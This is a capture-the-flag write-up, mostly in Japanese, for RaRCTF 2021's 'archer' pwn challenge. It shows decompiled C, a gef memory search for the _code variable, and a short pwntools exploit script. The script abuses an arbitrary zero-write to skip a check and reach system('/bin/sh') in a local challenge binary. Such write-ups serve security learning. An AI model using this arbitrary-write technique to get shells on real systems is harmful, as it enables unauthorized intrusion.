RaRCTF 2021
None
undefined8 main(void)
{
int64_t iVar1;
char *s1;
puts("It\'s battle day archer! Have you got what it takes?");
printf("Answer [yes/no]: ");
fflush(_reloc.stdout);
fgets(&s1, 5, _reloc.stdin);
iVar1 = strstr(&s1, 0x40204e);
if (iVar1 != 0) {
puts("Battle isn\'t for everyone.");
exit(0);
}
puts("Awesome! Make your shot.");
makeshot();
puts("Hope you shot well! This will decide the battle.");
if (_code == 0x13371337) {
exit(0);
}
puts("WE WON!");
fflush(_reloc.stdout);
system("/bin/sh");
return 0;
}
void makeshot(void)
{
int64_t var_8h;
puts("Here\'s your arrow!");
puts("Now, which soldier do you wish to shoot?");
fflush(_reloc.stdout);
__isoc99_scanf(0x402109, &var_8h);
var_8h = var_8h + 0x500000;
*(undefined8 *)var_8h = 0;
puts("Shot!");
return;
}
main関数の16行目のmakeshot()
の処理を見てみると、読み込んだアドレスに+0x500000
していることがわかる。
(最後は、ポインタのポインタ(つまり、値)に0を代入しているだけ)
main関数内の_code
の値が0x13371337
になればいいので、そのアドレスを探す。
gef➤ grep 0x13371337
[+] Searching '\x37\x13\x37\x13' in memory
[+] In '/ctf/yu1hpa/2021/rarCTF/pwn/archer/archer'(0x401000-0x402000), permission=r-x
0x401237 - 0x401247 → "\x37\x13\x37\x13[...]"
[+] In '/ctf/yu1hpa/2021/rarCTF/pwn/archer/archer'(0x404000-0x405000), permission=rw-
0x404068 - 0x404078 → "\x37\x13\x37\x13[...]"
今回は、0x404068
がそのアドレスになる。
main関数の8行目、代入されたアドレスに+0x500000
されることから0x404068 - 0x500000
を計算したアドレスを入力として与えれば良い。
#! /usr/bin/python3
from pwn import *
filename = "./archer"
io = process(filename)
TARGET_ADDR = hex(0x404068 - 0x500000)
log.info(TARGET_ADDR)
io.sendlineafter("Answer [yes/no]:", "yes")
io.sendlineafter("shoot?", TARGET_ADDR)
io.interactive()